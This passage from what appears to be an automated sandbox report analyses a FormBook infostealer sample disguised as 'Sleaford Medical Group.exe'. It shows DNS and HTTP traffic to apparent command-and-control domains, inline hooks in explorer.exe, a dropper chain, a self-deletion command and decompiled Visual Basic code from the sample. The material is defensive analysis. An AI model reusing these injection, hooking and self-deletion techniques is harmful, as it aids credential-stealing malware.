Feb 25, 2021 15:43:29.985093117 CET	53	60831	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:31.979283094 CET	60100	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:32.036551952 CET	53	60100	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:34.518493891 CET	53195	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:34.579190016 CET	53	53195	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:45.906028032 CET	50141	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:45.957537889 CET	53	50141	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:46.964647055 CET	53023	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:47.021523952 CET	53	53023	8.8.8.8	192.168.2.3
Feb 25, 2021 15:43:54.866410017 CET	49563	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:43:54.915139914 CET	53	49563	8.8.8.8	192.168.2.3
Feb 25, 2021 15:44:03.891587019 CET	51352	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:44:03.943428993 CET	53	51352	8.8.8.8	192.168.2.3
Feb 25, 2021 15:44:05.724241972 CET	59349	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:44:05.776719093 CET	53	59349	8.8.8.8	192.168.2.3
Feb 25, 2021 15:44:06.648401976 CET	57084	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:44:06.697145939 CET	53	57084	8.8.8.8	192.168.2.3
Feb 25, 2021 15:44:11.729295015 CET	58823	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:44:11.778017044 CET	53	58823	8.8.8.8	192.168.2.3
Feb 25, 2021 15:44:44.154119015 CET	57568	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:44:44.203080893 CET	53	57568	8.8.8.8	192.168.2.3
Feb 25, 2021 15:44:56.863987923 CET	50540	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:44:56.922199965 CET	53	50540	8.8.8.8	192.168.2.3
Feb 25, 2021 15:45:17.204905987 CET	54366	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:45:17.279130936 CET	53	54366	8.8.8.8	192.168.2.3
Feb 25, 2021 15:45:20.969799042 CET	53034	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:45:21.144277096 CET	53	53034	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:01.225702047 CET	57762	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:01.286142111 CET	53	57762	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:03.266912937 CET	55435	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:03.328434944 CET	53	55435	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:03.989600897 CET	50713	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:04.052900076 CET	53	50713	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:04.553440094 CET	56132	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:04.613538027 CET	53	56132	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:05.365631104 CET	58987	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:05.425745010 CET	53	58987	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:06.025368929 CET	56579	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:06.101105928 CET	53	56579	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:06.698834896 CET	60633	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:06.758333921 CET	53	60633	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:10.732311964 CET	61292	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:10.794365883 CET	53	61292	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:15.136203051 CET	63619	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:15.193792105 CET	53	63619	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:15.676244020 CET	64938	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:15.725150108 CET	53	64938	8.8.8.8	192.168.2.3
Feb 25, 2021 15:46:58.401931047 CET	61946	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:46:58.466870070 CET	53	61946	8.8.8.8	192.168.2.3
Feb 25, 2021 15:47:18.723651886 CET	64910	53	192.168.2.3	8.8.8.8
Feb 25, 2021 15:47:18.785362005 CET	53	64910	8.8.8.8	192.168.2.3

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Feb 25, 2021 15:45:20.969799042 CET	192.168.2.3	8.8.8.8	0x1fc9	Standard query (0)	01677937777.burrow.io	A (IP address)	IN (0x0001)
Feb 25, 2021 15:46:58.401931047 CET	192.168.2.3	8.8.8.8	0x7d8	Standard query (0)	www.landingberg.com	A (IP address)	IN (0x0001)
Feb 25, 2021 15:47:18.723651886 CET	192.168.2.3	8.8.8.8	0xe5df	Standard query (0)	www.waymakers.site	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Feb 25, 2021 15:45:21.144277096 CET	8.8.8.8	192.168.2.3	0x1fc9	No error (0)	01677937777.burrow.io		159.203.144.58	A (IP address)	IN (0x0001)
Feb 25, 2021 15:46:58.466870070 CET	8.8.8.8	192.168.2.3	0x7d8	No error (0)	www.landingberg.com		104.21.89.82	A (IP address)	IN (0x0001)
Feb 25, 2021 15:46:58.466870070 CET	8.8.8.8	192.168.2.3	0x7d8	No error (0)	www.landingberg.com		172.67.139.17	A (IP address)	IN (0x0001)
Feb 25, 2021 15:47:18.785362005 CET	8.8.8.8	192.168.2.3	0xe5df	No error (0)	www.waymakers.site	waymakers.site		CNAME (Canonical name)	IN (0x0001)
Feb 25, 2021 15:47:18.785362005 CET	8.8.8.8	192.168.2.3	0xe5df	No error (0)	waymakers.site		184.168.131.241	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

www.landingberg.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.3	49745	104.21.89.82	80	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
Feb 25, 2021 15:46:58.520201921 CET	6676	OUT	GET /twy/?pPX=elx0UibK+4/Nbm+qsvCMZ/KEfRavAHzyccJHHIU1h6WwAO+M5fT0/YOmYv0X1fYwTcwa&Hp=V6AHd0O0h HTTP/1.1 Host: www.landingberg.com Connection: close Data Raw: 00 00 00 00 00 00 00 Data Ascii:
Feb 25, 2021 15:46:58.573807001 CET	6677	IN	HTTP/1.1 301 Moved Permanently Date: Thu, 25 Feb 2021 14:46:58 GMT Transfer-Encoding: chunked Connection: close Cache-Control: max-age=3600 Expires: Thu, 25 Feb 2021 15:46:58 GMT Location: https://www.landingberg.com/twy/?pPX=elx0UibK+4/Nbm+qsvCMZ/KEfRavAHzyccJHHIU1h6WwAO+M5fT0/YOmYv0X1fYwTcwa&Hp=V6AHd0O0h cf-request-id: 087b4158f70000d6ed28399000000001 Report-To: {"group":"cf-nel","endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report?s=lOW1mDZ3VLduUYysi%2Fbkr3ycvbtlPQ652FKCtAUaOCAAN%2B2q2oGXGJvs1BwEslGo0a8Wil2bBIdhx85ViTCefAacb%2BPKpnNUViCz91K6zSnYXosj"}],"max_age":604800} NEL: {"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 62723807f806d6ed-FRA alt-svc: h3-27=":443"; ma=86400, h3-28=":443"; ma=86400, h3-29=":443"; ma=86400 Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

HTTPS Packets

Timestamp	Source IP	Source Port	Dest IP	Dest Port	Subject	Issuer	Not Before	Not After	JA3 SSL Client Fingerprint	JA3 SSL Client Digest
Feb 25, 2021 15:45:21.440952063 CET	159.203.144.58	443	192.168.2.3	49734	CN=burrow.io CN=R3, O=Let's Encrypt, C=US	CN=R3, O=Let's Encrypt, C=US CN=DST Root CA X3, O=Digital Signature Trust Co.	Fri Jan 08 10:05:33 CET 2021 Wed Oct 07 21:21:40 CEST 2020	Thu Apr 08 11:05:33 CEST 2021 Wed Sep 29 21:21:40 CEST 2021	771,49196-49195-49200-49199-49188-49187-49192-49191-49162-49161-49172-49171-157-156-61-60-53-47-10,0-10-11-13-35-23-65281,29-23-24,0	37f463bf4616ecd445d4a1937da06e19
Feb 25, 2021 15:45:21.440952063 CET	159.203.144.58	443	192.168.2.3	49734	CN=R3, O=Let's Encrypt, C=US	CN=DST Root CA X3, O=Digital Signature Trust Co.	Wed Oct 07 21:21:40 CEST 2020	Wed Sep 29 21:21:40 CEST 2021		37f463bf4616ecd445d4a1937da06e19

Code Manipulations

User Modules

Hook Summary

Function Name	Hook Type	Active in Processes
PeekMessageA	INLINE	explorer.exe
PeekMessageW	INLINE	explorer.exe
GetMessageW	INLINE	explorer.exe
GetMessageA	INLINE	explorer.exe

Processes

Process: explorer.exe, Module: user32.dll

Function Name	Hook Type	New Data
PeekMessageA	INLINE	0x48 0x8B 0xB8 0x81 0x1E 0xEB
PeekMessageW	INLINE	0x48 0x8B 0xB8 0x89 0x9E 0xEB
GetMessageW	INLINE	0x48 0x8B 0xB8 0x89 0x9E 0xEB
GetMessageA	INLINE	0x48 0x8B 0xB8 0x81 0x1E 0xEB

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Sleaford Medical Group.exe PID: 2412 Parent PID: 5604

General

Start time:	15:43:07
Start date:	25/02/2021
Path:	C:\Users\user\Desktop\Sleaford Medical Group.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Sleaford Medical Group.exe'
Imagebase:	0x400000
File size:	106496 bytes
MD5 hash:	DDE7E39D025B75849184C077517030AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Reputation:	low

Chronological Activities

Analysis Process: Sleaford Medical Group.exe PID: 5356 Parent PID: 2412

General

Start time:	15:45:04
Start date:	25/02/2021
Path:	C:\Users\user\Desktop\Sleaford Medical Group.exe
Wow64 process (32bit):	true
Commandline:	'C:\Users\user\Desktop\Sleaford Medical Group.exe'
Imagebase:	0x400000
File size:	106496 bytes
MD5 hash:	DDE7E39D025B75849184C077517030AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Chronological Activities

Analysis Process: explorer.exe PID: 3388 Parent PID: 5356

General

Start time:	15:45:24
Start date:	25/02/2021
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:
Imagebase:	0x7ff714890000
File size:	3933184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: wscript.exe PID: 5616 Parent PID: 3388

General

Start time:	15:45:28
Start date:	25/02/2021
Path:	C:\Windows\System32\wscript.exe
Wow64 process (32bit):	false
Commandline:	'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs'
Imagebase:	0x7ff7cdf60000
File size:	163840 bytes
MD5 hash:	9A68ADD12EB50DDE7586782C3EB9FF9C
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: oversad.exe PID: 6316 Parent PID: 5616

General

Start time:	15:45:30
Start date:	25/02/2021
Path:	C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe
Imagebase:	0x400000
File size:	106496 bytes
MD5 hash:	DDE7E39D025B75849184C077517030AE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	Visual Basic
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 11%, ReversingLabs
Reputation:	low

Chronological Activities

Analysis Process: help.exe PID: 6328 Parent PID: 3388

General

Start time:	15:45:44
Start date:	25/02/2021
Path:	C:\Windows\SysWOW64\help.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\SysWOW64\help.exe
Imagebase:	0xe60000
File size:	10240 bytes
MD5 hash:	09A715036F14D3632AD03B52D1DA6BFF
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 0000001C.00000002.731169512.000000000333D000.00000004.00000020.sdmp, Author: Florian Roth Rule: LokiBot_Dropper_Packed_R11_Feb18, Description: Auto-generated rule - file scan copy.pdf.r11, Source: 0000001C.00000002.736741312.0000000003CCF000.00000004.00000001.sdmp, Author: Florian Roth Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Author: Joe Security Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com Rule: Formbook, Description: detect Formbook in memory, Source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	moderate

Chronological Activities

Analysis Process: cmd.exe PID: 6472 Parent PID: 6328

General

Start time:	15:45:53
Start date:	25/02/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	/c del 'C:\Users\user\Desktop\Sleaford Medical Group.exe'
Imagebase:	0xac0000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Analysis Process: conhost.exe PID: 4880 Parent PID: 6472

General

Start time:	15:45:54
Start date:	25/02/2021
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6b2800000
File size:	625664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Chronological Activities

Disassembly

Code Analysis

Reset < >

Analysis Process: Sleaford Medical Group.exe PID: 2412 Parent PID: 5604 Sleaford Medical Group.exeCOMMON

Executed Functions

Function 00401C31, Relevance: 1.5, APIs: 1, Instructions: 258COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3868924455b9d33818c4078be9829966e6b1a5dabb382087750e52689423dc54
Instruction ID: a30559948e8c8ac33fb7ae1090eaa27523de9a344750833cd0f629bc1248a885
Opcode Fuzzy Hash: 3868924455b9d33818c4078be9829966e6b1a5dabb382087750e52689423dc54
Instruction Fuzzy Hash: 3B71345150E3828AFF331234C9E076D2A91EF47304F348EB7C992EA5D2EA2EC5C59257

Uniqueness

Uniqueness Score: -1.00%

Function 0040D634, Relevance: 56.3, APIs: 29, Strings: 3, Instructions: 258
COMMON

Download Yara Rule

C-Code - Quality: 39%

			E0040D634(void* __ebx, void* __edi, void* __esi, signed int _a4) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v36;
				signed int _v40;
				char _v44;
				intOrPtr _v52;
				char _v60;
				char _v76;
				signed int _v100;
				intOrPtr _v108;
				intOrPtr _v116;
				char _v124;
				char* _v132;
				char _v140;
				intOrPtr _v164;
				intOrPtr _v172;
				signed int _v192;
				signed int _v196;
				intOrPtr* _v200;
				signed int _v204;
				signed int _v216;
				intOrPtr* _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				intOrPtr* _v236;
				signed int _v240;
				signed int _t129;
				signed int _t134;
				signed int _t139;
				signed int _t142;
				char* _t143;
				signed int _t145;
				char* _t148;
				char* _t149;
				signed int _t156;
				void* _t185;
				void* _t187;
				intOrPtr _t188;
				void* _t189;

				_t188 = _t187 - 0xc;
				 *[fs:0x0] = _t188;
				L00401670();
				_v16 = _t188;
				_v12 = 0x401148;
				_v8 = _a4 & 0x00000001;
				_a4 = _a4 & 0xfffffffe;
				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x401676, _t185);
				if( *0x41839c != 0) {
					_v220 = 0x41839c;
				} else {
					_push(0x41839c);
					_push(0x40cc6c);
					L00401832();
					_v220 = 0x41839c;
				}
				_v192 =  *_v220;
				_t129 =  *((intOrPtr*)( *_v192 + 0x14))(_v192,  &_v44);
				asm("fclex");
				_v196 = _t129;
				if(_v196 >= 0) {
					_v224 = _v224 & 0x00000000;
				} else {
					_push(0x14);
					_push(0x40cc5c);
					_push(_v192);
					_push(_v196);
					L0040182C();
					_v224 = _t129;
				}
				_v200 = _v44;
				_t134 =  *((intOrPtr*)( *_v200 + 0x60))(_v200,  &_v40);
				asm("fclex");
				_v204 = _t134;
				if(_v204 >= 0) {
					_v228 = _v228 & 0x00000000;
				} else {
					_push(0x60);
					_push(0x40cc7c);
					_push(_v200);
					_push(_v204);
					L0040182C();
					_v228 = _t134;
				}
				_v216 = _v40;
				_v40 = _v40 & 0x00000000;
				L00401838();
				L00401826();
				_v52 = 0x20;
				_v60 = 2;
				_push( &_v60);
				_push(1);
				_push( &_v76);
				L0040181A();
				_v116 = 0x40cc90;
				_v124 = 0x8008;
				_push( &_v76);
				_t139 =  &_v124;
				_push(_t139);
				L00401820();
				_v192 = _t139;
				_push( &_v76);
				_push( &_v60);
				_push(2);
				L00401814();
				_t189 = _t188 + 0xc;
				_t142 = _v192;
				if(_t142 != 0) {
					_v100 = _a4;
					_v108 = 9;
					_v132 = L"skatterets";
					_v140 = 8;
					_v164 = 0x4b1f97;
					_v172 = 3;
					_push(0x10);
					L00401670();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(0x10);
					L00401670();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t142 = 0x10;
					L00401670();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_push(3);
					_push(L"MnKi3g7ot9gHDNjRkieaC8R1ZmqTX06hN29");
					_push(_v32);
					L0040180E();
					_t189 = _t189 + 0x3c;
				}
				L00401802();
				_v52 = _t142;
				_v60 = 8;
				_t143 =  &_v60;
				_push(_t143); // executed
				L00401808(); // executed
				_v192 =  ~(0 | _t143 != 0x0000ffff);
				L004017FC();
				if(_v192 != 0) {
					_v116 = 0x80020004;
					_v124 = 0xa;
					_v100 = 0x80020004;
					_v108 = 0xa;
					L00401670();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					L00401670();
					asm("movsd");
					asm("movsd");
					asm("movsd");
					asm("movsd");
					_t156 =  *((intOrPtr*)( *_a4 + 0x2b0))(_a4, 0x10, 0x10);
					asm("fclex");
					_v192 = _t156;
					if(_v192 >= 0) {
						_v232 = _v232 & 0x00000000;
					} else {
						_push(0x2b0);
						_push(0x40ca30);
						_push(_a4);
						_push(_v192);
						L0040182C();
						_v232 = _t156;
					}
				}
				_t145 = 0;
				if(0 != 0) {
					if( *0x41839c != 0) {
						_v236 = 0x41839c;
					} else {
						_push(0x41839c);
						_push(0x40cc6c);
						L00401832();
						_v236 = 0x41839c;
					}
					_v192 =  *_v236;
					_t148 =  &_v60;
					L004017EA();
					L004017F0();
					_t149 =  &_v44;
					L004017F6();
					_t145 =  *((intOrPtr*)( *_v192 + 0xc))(_v192, _t149, _t149, _t148, _t148, _t148, _v28, L"SUArKS155", 0);
					asm("fclex");
					_v196 = _t145;
					if(_v196 >= 0) {
						_v240 = _v240 & 0x00000000;
					} else {
						_push(0xc);
						_push(0x40cc5c);
						_push(_v192);
						_push(_v196);
						L0040182C();
						_v240 = _t145;
					}
					L00401826();
					L004017FC();
				}
				_v8 = 0;
				_push(0x40da35);
				L00401826();
				L00401826();
				L004017E4();
				return _t145;
			}

0x0040d637
0x0040d646
0x0040d652
0x0040d65a
0x0040d65d
0x0040d66a
0x0040d673
0x0040d67e
0x0040d688
0x0040d6a5
0x0040d68a
0x0040d68a
0x0040d68f
0x0040d694
0x0040d699
0x0040d699
0x0040d6b7
0x0040d6cf
0x0040d6d2
0x0040d6d4
0x0040d6e1
0x0040d703
0x0040d6e3
0x0040d6e3
0x0040d6e5
0x0040d6ea
0x0040d6f0
0x0040d6f6
0x0040d6fb
0x0040d6fb
0x0040d70d
0x0040d725
0x0040d728
0x0040d72a
0x0040d737
0x0040d759
0x0040d739
0x0040d739
0x0040d73b
0x0040d740
0x0040d746
0x0040d74c
0x0040d751
0x0040d751
0x0040d763
0x0040d769
0x0040d776
0x0040d77e
0x0040d783
0x0040d78a
0x0040d794
0x0040d795
0x0040d79a
0x0040d79b
0x0040d7a0
0x0040d7a7
0x0040d7b1
0x0040d7b2
0x0040d7b5
0x0040d7b6
0x0040d7bb
0x0040d7c5
0x0040d7c9
0x0040d7ca
0x0040d7cc
0x0040d7d1
0x0040d7d4
0x0040d7dd
0x0040d7e2
0x0040d7e5
0x0040d7ec
0x0040d7f3
0x0040d7fd
0x0040d807
0x0040d811
0x0040d814
0x0040d81e
0x0040d81f
0x0040d820
0x0040d821
0x0040d822
0x0040d825
0x0040d832
0x0040d833
0x0040d834
0x0040d835
0x0040d838
0x0040d839
0x0040d846
0x0040d847
0x0040d848
0x0040d849
0x0040d84a
0x0040d84c
0x0040d851
0x0040d854
0x0040d859
0x0040d859
0x0040d85c
0x0040d861
0x0040d864
0x0040d86b
0x0040d86e
0x0040d86f
0x0040d87f
0x0040d889
0x0040d897
0x0040d89d
0x0040d8a4
0x0040d8ab
0x0040d8b2
0x0040d8bc
0x0040d8c6
0x0040d8c7
0x0040d8c8
0x0040d8c9
0x0040d8cd
0x0040d8d7
0x0040d8d8
0x0040d8d9
0x0040d8da
0x0040d8e3
0x0040d8e9
0x0040d8eb
0x0040d8f8
0x0040d91a
0x0040d8fa
0x0040d8fa
0x0040d8ff
0x0040d904
0x0040d907
0x0040d90d
0x0040d912
0x0040d912
0x0040d8f8
0x0040d921
0x0040d925
0x0040d932
0x0040d94f
0x0040d934
0x0040d934
0x0040d939
0x0040d93e
0x0040d943
0x0040d943
0x0040d961
0x0040d971
0x0040d975
0x0040d97e
0x0040d984
0x0040d988
0x0040d99c
0x0040d99f
0x0040d9a1
0x0040d9ae
0x0040d9d0
0x0040d9b0
0x0040d9b0
0x0040d9b2
0x0040d9b7
0x0040d9bd
0x0040d9c3
0x0040d9c8
0x0040d9c8
0x0040d9da
0x0040d9e2
0x0040d9e2
0x0040d9e7
0x0040d9ee
0x0040da1f
0x0040da27
0x0040da2f
0x0040da34

APIs

__vbaChkstk.MSVBVM60(?,00401676), ref: 0040D652
__vbaNew2.MSVBVM60(0040CC6C,0041839C,?,?,?,?,00401676), ref: 0040D694
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CC5C,00000014), ref: 0040D6F6
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CC7C,00000060), ref: 0040D74C
__vbaStrMove.MSVBVM60(00000000,?,0040CC7C,00000060), ref: 0040D776
__vbaFreeObj.MSVBVM60(00000000,?,0040CC7C,00000060), ref: 0040D77E
#607.MSVBVM60(?,00000001,00000002), ref: 0040D79B
__vbaVarTstNe.MSVBVM60(00008008,?,?,00000001,00000002), ref: 0040D7B6
__vbaFreeVarList.MSVBVM60(00000002,00000002,?,00008008,?,?,00000001,00000002), ref: 0040D7CC
__vbaChkstk.MSVBVM60 ref: 0040D814
__vbaChkstk.MSVBVM60 ref: 0040D825
__vbaChkstk.MSVBVM60 ref: 0040D839
__vbaLateMemCall.MSVBVM60(?,MnKi3g7ot9gHDNjRkieaC8R1ZmqTX06hN29,00000003), ref: 0040D854
#609.MSVBVM60(?,?,00401676), ref: 0040D85C
#557.MSVBVM60(00000008), ref: 0040D86F
__vbaFreeVar.MSVBVM60(00000008), ref: 0040D889
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 0040D8BC
__vbaChkstk.MSVBVM60(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000008), ref: 0040D8CD
__vbaHresultCheckObj.MSVBVM60(00000000,00401148,0040CA30,000002B0), ref: 0040D90D
__vbaNew2.MSVBVM60(0040CC6C,0041839C,00000008), ref: 0040D93E
__vbaLateMemCallLd.MSVBVM60(00000008,?,SUArKS155,00000000), ref: 0040D975
__vbaObjVar.MSVBVM60(00000000,?,?,?,?,?,?,00401676), ref: 0040D97E
__vbaObjSetAddref.MSVBVM60(?,00000000,00000000,?,?,?,?,?,?,00401676), ref: 0040D988
__vbaHresultCheckObj.MSVBVM60(00000000,?,0040CC5C,0000000C), ref: 0040D9C3
__vbaFreeObj.MSVBVM60(00000000,?,0040CC5C,0000000C), ref: 0040D9DA
__vbaFreeVar.MSVBVM60(00000000,?,0040CC5C,0000000C), ref: 0040D9E2
__vbaFreeObj.MSVBVM60(0040DA35,00000008), ref: 0040DA1F
__vbaFreeObj.MSVBVM60(0040DA35,00000008), ref: 0040DA27
__vbaFreeStr.MSVBVM60(0040DA35,00000008), ref: 0040DA2F

Strings

MnKi3g7ot9gHDNjRkieaC8R1ZmqTX06hN29, xrefs: 0040D84C
, xrefs: 0040D783
SUArKS155, xrefs: 0040D969

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: __vba$Free$Chkstk$CheckHresult$CallLateNew2$#557#607#609AddrefListMove
String ID: $MnKi3g7ot9gHDNjRkieaC8R1ZmqTX06hN29$SUArKS155
API String ID: 1044815661-1501139554
Opcode ID: ac87f28ef580fe16c09f14d4f9d70d72531f1cfb69161ebdee1750b94d1ea83c
Instruction ID: d5bd607f55985aad398ca1c1b9e7029f9eb7e8a8daefd1ff86204465ffab6742
Opcode Fuzzy Hash: ac87f28ef580fe16c09f14d4f9d70d72531f1cfb69161ebdee1750b94d1ea83c
Instruction Fuzzy Hash: 36B12771D00218DBEB11EFA4CC45BDDBBB5BF04304F1085AAE508BB2A1D7795A89CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00401858, Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 14COMMON

Download Yara Rule

APIs

#100.MSVBVM60(VB5!6&*), ref: 0040185D

Strings

VB5!6&*, xrefs: 00401858

Memory Dump Source

Source File: 00000000.00000002.458790591.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.458782497.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.458807026.0000000000418000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp Download File

Similarity

API ID: #100
String ID: VB5!6&*
API String ID: 1341478452-3593831657
Opcode ID: a723595e6588a99117fd45b5e8c5e519e65118446f7a25d6902ba3f808a4c25a
